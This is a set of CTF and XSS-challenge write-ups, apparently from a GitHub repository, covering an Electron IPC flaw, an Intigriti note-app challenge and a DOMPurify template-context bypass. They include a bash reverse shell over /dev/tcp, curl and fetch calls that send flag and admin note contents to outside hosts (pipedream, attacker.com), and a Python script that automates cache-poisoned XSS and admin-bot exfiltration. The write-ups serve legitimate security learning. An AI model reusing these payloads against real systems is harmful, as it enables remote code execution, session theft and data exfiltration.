mentioned in the comments): 416 | ```js 417 | nodeIntegration: false 418 | contextIsolation: true 419 | sandbox: true 420 | ``` 421 | 422 | If `nodeIntegration` was set to true , by using this code it would have been possible to get RCE 423 | 424 | ```js 425 | const {shell} = require('electron'); 426 | shell.openExternal('file:C:/Windows/System32/calc.exe') 427 | ``` 428 | 429 | At first I even looked at the cool research done by Electrovolt team, to check if the challenge solution is based upon their research or not . The electron and chrome version used in this challenge was pretty old too 430 | 431 | ``` 432 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7 Safari/537.36 433 | ``` 434 | 435 | I thought this challenge requires writing a renderer exploit (as the chrome version is old you can find many exploits) but as I don't have any idea about how they work :( , so I started checking some other codes. 436 | 437 | `preload.js` 438 | 439 | ```js 440 | const {ipcRenderer, contextBridge} = require('electron') 441 | 442 | const API_URL = process.env.API_URL || "https://relapi.flu.xxx"; 443 | localStorage.setItem("api", API_URL) 444 | 445 | const REPORT_ID = process.env.REPORT_ID || "fail" 446 | localStorage.setItem("reportId", REPORT_ID) 447 | 448 | const RendererApi = { 449 | invoke: (action, ...args) => { 450 | return ipcRenderer.send("RELaction",action, args); 451 | }, 452 | }; 453 | 454 | // SECURITY: expose a limted API to the renderer over the context bridge 455 | // https://github.com/1password/electron-secure-defaults/SECURITY.md#rule-3 456 | contextBridge.exposeInMainWorld("api", RendererApi); 457 | 458 | ``` 459 | 460 | 461 | `main.js` 462 | 463 | ```js 464 | app.RELbuy = function(listingId){ 465 | return 466 | } 467 | 468 | app.RELsell = function(houseId, price, duration){ 469 | return 470 | } 471 | 472 | app.RELinfo = function(houseId){ 473 | return 474 | } 475 | 476 | app.RElist = function(listingId){ 477 | return 478 | } 479 | 480 | app.RELsummary = function(userId){ 481 | console.log("hello "+ userId) // added by me 482 | return 483 | } 484 | 485 | ipcMain.on("RELaction", (_e, action, args)=>{ // [2] 486 | //if(["RELbuy", "RELsell", "RELinfo"].includes(action)){ 487 | if(!/^REL/i.test(action)){ 488 | app[action](...args) // [3] 489 | }else{ 490 | // ?? 491 | } 492 | }) 493 | ``` 494 | 495 | By executing this line code, the code on line [2] will come into action: 496 | 497 | ``` 498 | window.api.invoke("RELsummary","test") 499 | ``` 500 | 501 | The `action` variable will have this value `RELsummary` and `args` will have `test`. On line [3] , a call like this will be made. This eventually calls the RELsummary method and the console.log message will be printed 502 | 503 | ``` 504 | app.RELsummary("test") 505 | ``` 506 | 507 | 508 | This looked interesting as it allows to call any method available from the `app` object (https://www.electronjs.org/docs/latest/api/app) also there is regex check which only allows actions which starts from REL (`/i` means case insensitive) 509 | 510 | Searching for a method under app object which starts from rel , point us to this https://www.electronjs.org/docs/latest/api/app#apprelaunchoptions 511 | 512 | ![image](https://user-images.githubusercontent.com/31372554/198941664-00013eef-a978-4732-8301-2327010f4074.png) 513 | 514 | I was solving this challenge in the last moment and I had some other works to also do, so wasn't able to solve this (as it would have taken me some time to figure it out how to achieve rce through relaunch method). After the ctf ended I checked the solution and the solution was really using `app.relaunch` method 515 | 516 | Thanks to @zeyu200 for this: 517 | 518 | ```js 519 | window.api.invoke('relaunch',{execPath: 'bash', args: ['-c', 'bash -i >& /dev/tcp/HOST/PORT 0>&1']}) // it will evaluate to the below code 520 | app.relaunch({execPath: 'bash', args: ['-c', 'bash -i >& /dev/tcp/HOST/PORT 0>&1']}) 521 | ``` 522 | 523 | To get the flag here's the final poc: 524 | 525 | ```js 526 | window.api.invoke('relaunch',{execPath: 'bash', args: ['-c', 'curl "https://en2celr7rewbul.m.pipedream.net/v2?=$(/printflag)"']}) 527 | ``` 528 | 529 | 530 | Replace the `houseId` and `token` parameter according to your accout. 531 | 532 | ``` 533 | POST /sell HTTP/2 534 | Host: relapi.flu.xxx 535 | Content-Length: 298 536 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7 Safari/537.36 537 | Content-Type: application/json 538 | Accept: */* 539 | Sec-Fetch-Site: cross-site 540 | Sec-Fetch-Mode: cors 541 | Sec-Fetch-Dest: empty 542 | Accept-Encoding: gzip, deflate 543 | Accept-Language: en-US 544 | 545 | {"houseId":"_yTPmi9bfl","token":"61e6887048465eed383d6d9f5cd32c86","message":"","price":"1"} 546 | ``` 547 | 548 | ![image](https://user-images.githubusercontent.com/31372554/198945644-fe0cd51d-bd05-4ec0-bc0f-339bef10325d.png) 549 | 550 | `flag{congrats_on_your_firstRELauncHv2}` 551 | -------------------------------------------------------------------------------- /Intigriti-XSS-Challenges/2022/Dec.md: -------------------------------------------------------------------------------- 1 | Intigriti has been putting amazing xss challenges lately,I have been having a hard time in completely solving them but stil I am able to learn a lot from this challenges thanks to the author escpecially. 2 | 3 | This month was no exception, this month's xss challenge was created by @H4R3L (he found a very interesting xss bug in glassdoor https://nokline.github.io/bugbounty/2022/09/02/Glassdoor-Cache-Poisoning.html) make sure to read if you haven't already. 4 | 5 | https://twitter.com/intigriti/status/1597209905903149060?s=20&t=G9vZKRi4jTgnJPB_JetsfQ 6 | 7 | The challenge type was a bit different then you normally see in other intigriti xss challenge. 8 | 9 | 10 | Here's the solution video: https://twitter.com/intigriti/status/1599556700901720066?s=20&t=cLISRgUqpEVoOlFY5thZrA 11 | 12 | I didn't completed this challenge the last part I wasn't able to solve how (avatar path),so my writeup is based on the video solution for that part only. 13 | 14 | ``` 15 | Rules: 16 | This challenge runs from the 28th of November until the 4th of December, 11:59 PM CET. 17 | Out of all correct submissions, we will draw six winners on Monday, the 5th of December: 18 | Three randomly drawn correct submissions 19 | Three best write-ups 20 | Every winner gets a €50 swag voucher for our swag shop 21 | The winners will be announced on our Twitter profile. 22 | For every 100 likes, we'll add a tip to announcement tweet. 23 | Join our Discord to discuss the challenge! 24 | ``` 25 | 26 | ``` 27 | The solution... 28 | Should steal the flag from the admin user. The admin user has a note with more info on the flag. 29 | The flag format is INTIGRITI{.*}. 30 | Should NOT use another challenge on the intigriti.io domain. 31 | Should be reported at go.intigriti.com/submit-solution. 32 | ``` 33 | 34 | The task of this challenge is to steal the flag from the admin user, the challenge site is basically a note taking application so the flag is in admin's note. 35 | 36 | 37 | *Test your payloads down below and on the challenge page here! Think you have the right solution? Send your payload to "https://api.challenge-1122.intigriti.io/admin?url=" to have an admin check it immediately! Do not spam this endpoint. Doing so will result in a ban.* 38 | 39 | 40 | Any url provided to this endpoint will be visited by the admin user (such challenges ae pretty common in ctfs, where you need to find a xss bug and then steal something from the admin's acc) 41 | https://api.challenge-1122.intigriti.io/admin?url= 42 | 43 | ----------------------------------------------------------- 44 | 45 | 46 | The signup page 47 | ![firefox_5pIzYwQemJ](https://user-images.githubusercontent.com/31372554/205580721-fcae8e54-ef3a-4520-85fe-d111ff5c2fa1.png) 48 | 49 | 50 | The username is automatically filled which is randomly generated using output from fakerjs 51 | Just hit on signup and login to view other section of the website 52 | 53 | ![firefox_kLgOmNT4g4](https://user-images.githubusercontent.com/31372554/205580702-ef9a4ee1-855d-4cea-9e77-cb8557d231dc.png) 54 | 55 | 56 | 57 | The authentication is based upon jwt. 58 | 59 | 60 | 61 | 62 | 63 | On the left corner you can see there options to create a new note 64 | 65 | 66 | ![firefox_6juWcTQMYB](https://user-images.githubusercontent.com/31372554/205580682-3b4aa73d-1e6d-4c7a-8bf6-6402e1614b00.png) 67 | 68 | Hitting on submit button will create the note. 69 | 70 | ``` 71 | POST /api/notes HTTP/2 72 | Host: api.challenge-1122.intigriti.io 73 | Cookie: _ga=GA1.2.2123064541.1629122479 74 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 75 | Accept: application/json 76 | Accept-Language: en-US,en;q=0.5 77 | Accept-Encoding: gzip, deflate 78 | Referer: https://api.challenge-1122.intigriti.io/ 79 | Content-Type: application/json 80 | Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiZDIyMzExMTMtNDBmNy00ZmQzLTlmZjctN2JlNTAzMTFiNWQyIiwidXNlcm5hbWUiOiJibHVldG9vdGgtamF6ejk0Nzk2MzU0IiwiaWF0IjoxNjcwMjE3Nzc2LCJleHAiOjE2NzAzMDQxNzZ9.Cd37krh_2ntj0YXD2z4LqeX578G5f5DD7F_z0SqssqA 81 | Content-Length: 56 82 | Origin: https://api.challenge-1122.intigriti.io 83 | Sec-Fetch-Dest: empty 84 | Sec-Fetch-Mode: cors 85 | Sec-Fetch-Site: same-origin 86 | Te: trailers 87 | 88 | { 89 | "title": "xxx\">", 90 | "note": "xxx\">" 91 | } 92 | ``` 93 | 94 | Response 95 | ```json 96 | { 97 | "success": true, 98 | "reference": "https://cdn.challenge-1122.intigriti.io/uploads/note-bluetooth-jazz94796354-13b9aa3a-dee8-4811-bfd5-2e71fda297c1.html", 99 | "uuid": "13b9aa3a-dee8-4811-bfd5-2e71fda297c1", 100 | "owner": "bluetooth-jazz94796354", 101 | "title": "xxx\">" 102 | } 103 | ``` 104 | 105 | I will explain later what the `reference` parameter url is used for. 106 | 107 | 108 | The note title and content appears something like this on the page, the html tags didn't get rendered so that means there was some sanitization in place or something. 109 | 110 | ![firefox_GbRqONtTwh](https://user-images.githubusercontent.com/31372554/205580640-1a6cd4a5-4f55-4010-beb0-9d5e03f3d6f7.png) 111 | 112 | 113 | 114 | As we now have a basic understanding of the application let's focus on the api endpoints and js code. 115 | 116 | ![firefox_Lv4JNvsLe4](https://user-images.githubusercontent.com/31372554/205580620-c55c30a0-033b-4da4-8727-2f3615989e8d.png) 117 | 118 | The note contents are actually stored in .html file in a different subdomain cdn.challenge-1122.intigriti.io, from the `/api/notes` endpoint response the `reference` key denotes the location where the note contents were saved. 119 | 120 | If you visit this url, you can view the note content: 121 | 122 | https://cdn.challenge-1122.intigriti.io/uploads/note-bluetooth-jazz94796354-13b9aa3a-dee8-4811-bfd5-2e71fda297c1.html 123 | 124 | The note content is properly seems to santized , this note cdn url is embedded in an iframe on the main site as you can see in the above screenshot and highlighted areas. 125 | 126 | 127 | 128 | ------------ 129 | 130 | # JS code 131 | 132 | Looking at the js code now: 133 | 134 | ```js 135 | if(document.domain == "staging.challenge-1122.intigriti.io"){ // [1] 136 | alert("You are in the staging environment") 137 | } 138 | 139 | function addNote(uuid, title, reference){ 140 | let note_list_content = document.getElementById("note-list-content") 141 | let note_list = document.getElementById("note-list") 142 | 143 | let h3title = document.createElement("h3") 144 | h3title.textContent = title // [2] 145 | 146 | let frame = document.createElement("iframe") 147 | frame.src = reference // [3] 148 | 149 | let div = document.createElement("div") 150 | div.id = uuid 151 | div.classList = "tabcontent" 152 | div.appendChild(h3title) 153 | div.appendChild(frame) 154 | 155 | let a = document.createElement("a") 156 | a.onclick = () => getNote(uuid) 157 | a.classList = "tablinks list-group-item bg-dark text-white list-group-item-action list-group-item-light p-3" 158 | a.text = `[*] ${title}` 159 | 160 | note_list_content.appendChild(div) 161 | note_list.appendChild(a) 162 | 163 | } 164 | 165 | 166 | let jwt = localStorage['jwt']; 167 | if(!jwt){ 168 | location = '/signup' 169 | } else{ 170 | fetch("/api/user/me", { 171 | headers: { 172 | 'Authorization': `Bearer ${jwt}` 173 | } 174 | }) 175 | .then(r => r.json()) 176 | .then(r => { 177 | if(!r.success){ 178 | location = '/signup' 179 | } else { 180 | const username = r.username 181 | const avatarPath = r.avatarPath 182 | document.getElementsByClassName("username")[0].innerText = username; 183 | if(avatarPath){ 184 | document.getElementsByClassName("avatar")[0].src = avatarPath; 185 | } 186 | } 187 | 188 | }) 189 | } 190 | fetch("/api/notes", { 191 | headers: { 192 | 'Authorization': `Bearer ${jwt}`, 193 | 'Accept': 'application/json' 194 | } 195 | }) 196 | .then(r => r.json()) 197 | .then(r => { 198 | if(!r){ 199 | return alert("Something went wrong") 200 | } 201 | r.forEach((n)=>{ 202 | let { title, uuid, reference } = n 203 | addNote(uuid,title,reference) 204 | }) 205 | }) 206 | ``` 207 | 208 | From line [1], we got to know about another subdomain staging.challenge-1122.intigriti.io. After that there is a method `addNote` which as the name suggests adds the note to the pages dom. 209 | On line [2], the note's title is passed to the `h3title.textContent` (if it would have been innerHTML then xss would have been there but this is safe from xss) 210 | On line [3] you can it directly puts the `refrence` key in the iframe src attribute which I have already shown in the screenshot. 211 | 212 | 213 | 214 | 215 | 216 | ```js 217 | let file_upload = document.getElementsByClassName("file-upload")[0] 218 | file_upload.addEventListener('change', (e)=>{ 219 | let formData = new FormData(); 220 | formData.append("avatar", file_upload.files[0]); 221 | fetch("/api/user/avatar", { 222 | method: "POST", 223 | headers: { 224 | 'Accept': 'application/json', 225 | 'Authorization': `Bearer ${jwt}` 226 | }, 227 | body: formData 228 | }) 229 | .then(r=>r.json()) 230 | .then(r => { 231 | let avatar = document.getElementsByClassName("avatar")[0] 232 | avatar.src = r.avatarPath; 233 | }) 234 | }) 235 | 236 | let note_submit = document.getElementById("note-submit"); 237 | function submitNote() { 238 | let title = document.getElementById("note-title").value; 239 | let note = document.getElementById("note-body").value; 240 | fetch("/api/notes", { 241 | method: "POST", 242 | headers: { 243 | 'Accept': 'application/json', 244 | 'Content-Type': 'application/json', 245 | 'Authorization': `Bearer ${jwt}` 246 | 247 | }, 248 | body: JSON.stringify({ 249 | title: title, 250 | note: note 251 | }) 252 | }) 253 | .then(r => r.json()) 254 | .then(r => { 255 | if(!r || !r.success){ 256 | return alert("Something went wrong") 257 | } 258 | addNote(r.uuid, r.title, r.reference) 259 | }) 260 | } 261 | ``` 262 | 263 | From this part of the code we come to realize that there is a file upload funcionality , you can change your avatar by clicking on your profile icon. 264 | 265 | ![firefox_2cCxmcYzSS](https://user-images.githubusercontent.com/31372554/205580580-85fbb816-d0c6-49f0-bce7-c7a7411b5006.png) 266 | 267 | 268 | The avatar is also uploaded on the cdn domain,eg url https://cdn.challenge-1122.intigriti.io/uploads/avatar-bluetooth-jazz94796354.png 269 | 270 | 271 | ``` 272 | POST /api/user/avatar HTTP/2 273 | Host: api.challenge-1122.intigriti.io 274 | Cookie: _ga=GA1.2.2123064541.1629122479 275 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 276 | Accept: application/json 277 | Accept-Language: en-US,en;q=0.5 278 | Accept-Encoding: gzip, deflate 279 | Referer: https://api.challenge-1122.intigriti.io/ 280 | Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiZDIyMzExMTMtNDBmNy00ZmQzLTlmZjctN2JlNTAzMTFiNWQyIiwidXNlcm5hbWUiOiJibHVldG9vdGgtamF6ejk0Nzk2MzU0IiwiaWF0IjoxNjcwMjE3Nzc2LCJleHAiOjE2NzAzMDQxNzZ9.Cd37krh_2ntj0YXD2z4LqeX578G5f5DD7F_z0SqssqA 281 | Content-Type: multipart/form-data; boundary=---------------------------1514786326898924171509647265 282 | Content-Length: 7329 283 | Origin: https://api.challenge-1122.intigriti.io 284 | Sec-Fetch-Dest: empty 285 | Sec-Fetch-Mode: cors 286 | Sec-Fetch-Site: same-origin 287 | Te: trailers 288 | 289 | -----------------------------1514786326898924171509647265 290 | Content-Disposition: form-data; name="avatar"; filename="3r5bLuud.png" 291 | Content-Type: image/png 292 | 293 | test 294 | -----------------------------1514786326898924171509647265-- 295 | 296 | ``` 297 | 298 | The validation is pretty relax so it accepts any extenions, leave the `Content-Type: image/png` as it is or else it will return image not valid error. 299 | 300 | By changing the `filename` parameter to `html` we can achieve xss here (that's what I though at first) 301 | 302 | ``` 303 | -----------------------------1514786326898924171509647265 304 | Content-Disposition: form-data; name="avatar"; filename="test.html" 305 | Content-Type: image/png 306 | 307 | test 308 | -----------------------------1514786326898924171509647265-- 309 | ``` 310 | 311 | Response: 312 | 313 | ```json 314 | { 315 | "success": true, 316 | "avatarPath": "https://cdn.challenge-1122.intigriti.io/uploads/avatar-bluetooth-jazz94796354.html" 317 | } 318 | ``` 319 | 320 | Visiting the `avatarPath` url https://cdn.challenge-1122.intigriti.io/uploads/avatar-bluetooth-jazz94796354.html 321 | Renderes the image tag but no xss popup :( 322 | 323 | 324 | CSP Violation.. 325 | ![firefox_RI5d7MZIzl](https://user-images.githubusercontent.com/31372554/205580557-46c70adf-c555-4a35-a31b-8bcd193c615b.png) 326 | 327 | 328 | 329 | 330 | Checking the csp on https://csp-evaluator.withgoogle.com/ , yield no findings . The policy pretty strict so no xss 331 | ![firefox_VZkOZr7Pym](https://user-images.githubusercontent.com/31372554/205580541-eb11c62a-9a10-4ca0-89ab-8704d8c9d8ad.png) 332 | 333 | 334 | ------------------- 335 | 336 | # 404 Not found Page 337 | 338 | If you visit a url on the /upload endpoint which doesn't exists it returns a custom 404 page which looks old 339 | 340 | https://cdn.challenge-1122.intigriti.io/uploads/testxxxxxxxxxxxxxxxxxxxxxxx.html 341 | 342 | ![BurpSuiteCommunity_fvjnFj2EES](https://user-images.githubusercontent.com/31372554/205580525-a024e516-1daa-43ff-9fe0-85806a3460cd.png) 343 | 344 | IN no time you can spot as the path is being reflected in the response without any santization this leads to xss, along with that no csp is there in this endpoint :) 345 | But no visiting this endpoint in browser didn't showed any popup, the path was url encoded in the response page. 346 | 347 | ![firefox_AlvE2aik6a](https://user-images.githubusercontent.com/31372554/205580509-29dc5959-b6df-49b9-9931-0349d156523a.png) 348 | 349 | 350 | This xss is the one which only works in Internet Explorer, all other browsers url encode the path IE is the exception, this really looks like self xss currently like from burp *Show response in browser* which is not any usefull any where. 351 | 352 | 353 | Focusing more on the response headers of the 404 page 354 | 355 | ``` 356 | HTTP/2 200 OK 357 | Date: Mon, 05 Dec 2022 05:49:10 GMT 358 | Content-Type: text/html; charset=utf-8 359 | X-Powered-By: Express 360 | Etag: W/"67-llkugSXLZIgZRBq03M5e+T6gfZE" 361 | X-Varnish: 6525264 362 | Age: 0 363 | Via: 1.1 varnish (Varnish/6.1) 364 | X-Cache: MISS 365 | X-Cache-Hits: 0 366 | ``` 367 | 368 | It seemed caching is enabled for this endpoint, I spent so much time here the `X-Cache` header value never changed to `HIT` no matter what extension I try. 369 | Turns out in the *Param Miner* config both the cache buster were enabled, 370 | 371 | ![BurpSuiteCommunity_01BCvE076W](https://user-images.githubusercontent.com/31372554/205580496-e64a273d-48c1-40e9-a6a1-146a775b93e6.png) 372 | 373 | 374 | And I was only focused on the `X-Cache` header and didn;t saw that a new parameter was added to the url which avoided the page to get cached(as everytime a new cachebuster was added to the url). 375 | Disabled those options and now got the change in response header. 376 | 377 | ``` 378 | https://cdn.challenge-1122.intigriti.io/uploads/testxxxxxxxxxxxxxxxxxxxxxxx.png 379 | 380 | 381 | 382 | HTTP/2 200 OK 383 | Date: Mon, 05 Dec 2022 05:59:43 GMT 384 | Content-Type: text/html; charset=utf-8 385 | X-Powered-By: Express 386 | Etag: W/"4d-KAcasjxe3gWO1IO7lrWp05LJXyY" 387 | X-Varnish: 665576 3848761 388 | Age: 1 389 | Via: 1.1 varnish (Varnish/6.1) 390 | X-Cache: HIT 391 | X-Cache-Hits: 3 392 | 393 |

404 :(

Could not find /uploads/testxxxxxxxxxxxxxxxxxxxxxxx.png

394 | ``` 395 | 396 | Adding any character after the extension part reult into the page not being cache, so inserted the xss payload in the filename path 397 | 398 | ALthough I could put any tags inside it, I can't use `/` neither space which are really necessary in this case 399 | 400 | 401 | 402 | This url returned the express not found page not the custom 404 page so no xss 403 | 404 | https://cdn.challenge-1122.intigriti.io/uploads/xxxshirley.png 405 | 406 | ``` 407 | 408 | 409 | 410 | 411 | Error 412 | 413 | 414 |
Cannot GET /uploads/xxx%3Cimg/src=x%3Eshirley.png
415 | 416 | 417 | 418 | ``` 419 | 420 | Even if I used encoded values like %2F %20, they will not be auto decode by the browser so again no xss. 421 | 422 | 423 | 424 | It's only possible use those restricted characters in the query parameters, so I played around a bit.Btw I was talking to author giving updates about my progress this really helps , the author might no give you hints but still it really helps so don't hesitate to reach out the author of such challenges they are really nice and open to answer any question you have regarding the challenges. 425 | I told the author that I can't use those characters which are really needed for xss and that would be only after `?`, he replied *How does the server actually checks to cache the page or not* 426 | 427 | Then spent time to think about it, all it does it checks for the url if it ends with allowlist extension or not like .jpg,.png,.css 428 | 429 | After playing around a bit I found the work around this: 430 | 431 | https://cdn.challenge-1122.intigriti.io/uploads/xxx?shirley.png 432 | 433 | ``` 434 | HTTP/2 200 OK 435 | Date: Mon, 05 Dec 2022 06:26:12 GMT 436 | Content-Type: text/html; charset=utf-8 437 | X-Powered-By: Express 438 | Etag: W/"48-MDC+d7XBSsp/uSACZQJwS1l34n4" 439 | X-Varnish: 665644 665642 440 | Age: 3 441 | Via: 1.1 varnish (Varnish/6.1) 442 | X-Cache: HIT 443 | X-Cache-Hits: 1 444 | 445 |

404 :(

Could not find /uploads/xxx?shirley.png

446 | ``` 447 | 448 | Make a request to this url 2-3 times so that it's being cached: https://cdn.challenge-1122.intigriti.io/uploads/xxx?shirley.png 449 | 450 | ![firefox_BJNya2NGOr](https://user-images.githubusercontent.com/31372554/205580466-a5960309-e47c-4c24-b235-7e08f2d84fd5.png) 451 | 452 | Finally xsss 453 | 454 | 455 | 456 | ------------------------------------- 457 | 458 | # Stealing admin's note 459 | 460 | My solution is different from the original solution explained in the solution video, instead of serviceWorkers I used window.open method. 461 | 462 | The main challenge site is not frameable due to the csp `frame-ancestors challenge-1122.intigriti.io` 463 | 464 | 465 | 466 | *If you have an iframe inside an iframe from a cross origin request, the top frame can change the iframe of the other origin* 467 | 468 | Suppose abc.com has an iframe def.com and the domain abc.com can be framed by any other domain, then ghi.com domain can change the abc.com child iframe def.com location to somewhere else by framing the abc.com domain. 469 | 470 | 471 | AS the main challenge site api.challenge-1122.intigriti.io can't be framed because of csp I used window.open. 472 | 473 | ```js 474 | x = window.open("http://api.challenge-1122.intigriti.io") 475 | x.frames[0].location = "http://evil.com" 476 | ``` 477 | 478 | ![firefox_6otWGBGVos](https://user-images.githubusercontent.com/31372554/205580425-cd995371-1e8a-4b2d-a712-a81386b0bbf0.png) 479 | 480 | ![firefox_nhlOftP5hc](https://user-images.githubusercontent.com/31372554/205580409-0b39314a-b258-463d-8fd3-f141a2f723cb.png) 481 | 482 | 483 | 484 | Cool I had this idea in my mind as the above scenario was working, the notes are saved in cdn.challenge-1122.intigriti.io and I have xss on cdn.challenge-1122.intigriti.io as both are same origin I should be able to full control it (access the dom properties,etc) 485 | 486 | 487 | If I change the `x.frames[0].location` to the url which has xss payload and then read the previous url (which contains the note content) I would be able to solve this challenge. 488 | 489 | If there was one more note in the admin's account I could have do something like: 490 | 491 | suppose the flag is in the first note so I modified the 2nd iframe url only. 492 | 493 | ```js 494 | x = window.open("http://api.challenge-1122.intigriti.io") 495 | x.frames[1].location = "https://cdn.challenge-1122.intigriti.io/uploads/xxx?shirley.png" 496 | 497 | 498 | //stealIframe1COntent can be 499 | 500 | fetch("attacker.com/?x="+x.frames[0].document.baseURI) 501 | ``` 502 | 503 | But as there was only iframe I thought what else I can do, I searched on google about how to read the previous url but all of them were telling about history.back() none of them were about being able to read the previous url. 504 | So I came up with solution of mine 505 | 506 | ----------------------------------------------- 507 | 508 | # Read previous url 509 | 510 | ``` 511 | https://cdn.challenge-1122.intigriti.io/uploads/xxxx?.jpgs.png 512 | ``` 513 | 514 | Decoding the base64 payload you will get: 515 | 516 | ```js 517 | function test(){ 518 | x.frames[0].location = "https://cdn.challenge-1122.intigriti.io/uploads/xxxx?.jpgss.png" 519 | }; 520 | x = window.open("https://api.challenge-1122.intigriti.io"); 521 | setTimeout(test,3000); 522 | ``` 523 | 524 | It basically opens the challenge site using window.open then changes the iframe location to another xss payload url, decoding it: 525 | 526 | 527 | 528 | ```js 529 | 535 | ``` 536 | 537 | Now the iframe has this payload in it, it opens a new url with `window.open` again (this url points to another url with xss payload in it) and then it calls the method `history.back()` (this will change the iframe location to the previous one) 538 | The previous url is where the admin's note is stored. 539 | 540 | 541 | This is the url which was opened, the final xss payload url:: 542 | 543 | ``` 544 | https://cdn.challenge-1122.intigriti.io/uploads/xxxx?.jpgs.png 545 | ``` 546 | 547 | 548 | ```html 549 | 552 | ``` 553 | 554 | `window.opener.document.body.innerHTML` this sends the note contents to our server (we can change it to document.baseURI, to get the whole url also) 555 | 556 | 557 | I also made python script to do all this : 558 | 559 | ```python 560 | import base64 561 | import requests 562 | import time 563 | import random 564 | import string 565 | import os 566 | 567 | 568 | random_alphanum = ''.join(random.choices(string.ascii_uppercase + string.digits, k=5)) 569 | 570 | 571 | sPayload3 = """setTimeout(fetch("https://en2celr7rewbul.m.pipedream.net/?x="+window.opener.document.body.innerHTML),5000);""" 572 | 573 | url3 = "https://cdn.challenge-1122.intigriti.io/uploads/xxxx{}?.jpgs.png".format(random_alphanum,sPayload3) 574 | 575 | # Encode the URL in base64 format 576 | encoded_url3 = base64.b64encode(url3.encode("utf-8")) 577 | 578 | # Print the encoded URL 579 | payload3 = str(encoded_url3,'UTF-8') 580 | 581 | # generate random alphanum length 5 582 | 583 | sPayload2 = """window.open(atob(`{}`));history.back();""".format(payload3) 584 | 585 | url2 = "https://cdn.challenge-1122.intigriti.io/uploads/xxxx{}?.jpgss.png".format(random_alphanum,sPayload2) 586 | 587 | 588 | finalPayload = """ 589 | function test(){{ 590 | x.frames[0].location = "{}" 591 | }}; 592 | x = window.open("https://api.challenge-1122.intigriti.io"); 593 | setTimeout(test,1000); 594 | """.format(url2) 595 | 596 | # Encode the finalPayload in base64 format 597 | 598 | encoded_finalPayload = str(base64.b64encode(finalPayload.encode("utf-8")), 'UTF-8') 599 | 600 | 601 | url = "https://cdn.challenge-1122.intigriti.io/uploads/xxxx{}?.jpgsss.png".format(random_alphanum,encoded_finalPayload) 602 | 603 | print(url) 604 | 605 | 606 | os.system("curl --path-as-is -X GET '{}'".format(url)) 607 | os.system("curl --path-as-is -X GET '{}'".format(url)) 608 | 609 | os.system("curl --path-as-is -X GET '{}'".format(url2)) 610 | os.system("curl --path-as-is -X GET '{}'".format(url2)) 611 | os.system("curl --path-as-is -X GET '{}'".format(url2)) 612 | 613 | os.system("curl --path-as-is -X GET '{}'".format(url3)) 614 | os.system("curl --path-as-is -X GET '{}'".format(url3)) 615 | 616 | print("[+] Submitting the url to bot:") 617 | u = os.system("curl --path-as-is -X GET 'https://api.challenge-1122.intigriti.io/admin?url={}'".format(url)) 618 | 619 | #make get request to the url every 1sec 620 | while True: 621 | x = os.system("curl --path-as-is -X GET '{}' -s".format(url)) 622 | #print response header 623 | #print(x.headers) 624 | y = os.system("curl --path-as-is -X GET '{}' -s".format(url2)) 625 | #print(y.headers) 626 | z = os.system("curl --path-as-is -X GET '{}' -s".format(url3)) 627 | #print(z.headers) 628 | time.sleep(1) 629 | ``` 630 | 631 | script video poc: 632 | 633 | {} 634 | 635 | 636 | 637 | 638 | 639 | When I started writing this writeup I realised I fucking stupid I am all the above things I did weren't required at all. 640 | I could have simply used this poc: 641 | 642 | 643 | Instead of changing the location I can simply read it 644 | 645 | ```js 646 | x = window.open("https://api.challenge-1122.intigriti.io"); 647 | setTimeout(alert(x.frames[0].document.baseURI),5000); 648 | ``` 649 | 650 | Once you have the note url you can view the message that the flag is actualli the admin's avatar. 651 | To find the admin's avatar url , you need to take the username from the notes url and then register using the same on staging subdomain this will give a jwt token , use the same token on the main api subdomain and then you can access the admin acc easily (basically ato) 652 | -------------------------------------------------------------------------------- /Flatt-Security-XSS-Challenge/solutions.md: -------------------------------------------------------------------------------- 1 | There were three xss challenges from Flatt Security , which were all really good I really liked the last challenge which was authored by the legend Masato Kinugawa and I managed to solve it too :p 2 | 3 | # Challenge 1 by @hamayanhamayan 4 | 5 | This was the most easiest one from the others. 6 | 7 | hamayan\src\index.js 8 | 9 | ```js 10 | const createDOMPurify = require('dompurify'); 11 | const { JSDOM } = require('jsdom'); 12 | const window = new JSDOM('').window; 13 | const DOMPurify = createDOMPurify(window); 14 | 15 | app.get('/', (req, res) => { 16 | const message = req.query.message; 17 | if (!message || typeof message !== 'string') { 18 | return res.redirect(`/?message=Yes%2C%20we%20can<%2Fb>%21`); 19 | } 20 | const sanitized = DOMPurify.sanitize(message); // [1] 21 | res.view("/index.ejs", { sanitized: sanitized }); 22 | }); 23 | ``` 24 | 25 | On the server side on line [1] , Dompurify was used to sanitize the html from the `message` parameter and then the sanitized string from dompurify was passed to the template `index.ejs` 26 | We have two injection points here , so the sanitized string is placed at the two places `<%- sanitized %>` 27 | ```js 28 |

<%- sanitized %>

29 |
30 | 31 | ``` 32 | 33 | 34 | ![image](https://github.com/user-attachments/assets/3958697d-c279-4d2c-a99e-7e9167393fad) 35 | 36 | Well Dompurify latest version is used so a direct bypass isn't possible, let's focus on the second insertion point which is inside `template` element. As in the first one there is no chance. 37 | By default, the `template` element's content is not rendered, as we can see in the screenshot the injected html appears as it is ,not rendered as html. 38 | 39 | Dompurify isn't aware of the context where the sanitized data will be in use i.e `template` element in our case. So it's possible to get xss here even though state of the art DOMPurify is in use. 40 | 41 | ```html 42 | shirley 43 | ``` 44 | 45 | https://yeswehack.github.io/Dom-Explorer/dom-explore , as can be seen the above payload is consider safe by dompurify as the string `` is inside the attribute value. 46 | ![image](https://github.com/user-attachments/assets/c361ba80-4406-4db9-93e8-aef00f9d3c20) 47 | 48 | Things gets interesting when the same payload is used in context like this 49 | 50 | ```html 51 | ">shirley 52 | ``` 53 | 54 | ![image](https://github.com/user-attachments/assets/b316663f-778e-4928-bfe5-4911cab5d53c) 55 | 56 | When this is parsed by the browser , as earlier mentioned the content inside of `textarea` element doesn't gets rendered so as soon as the `` is seen by the 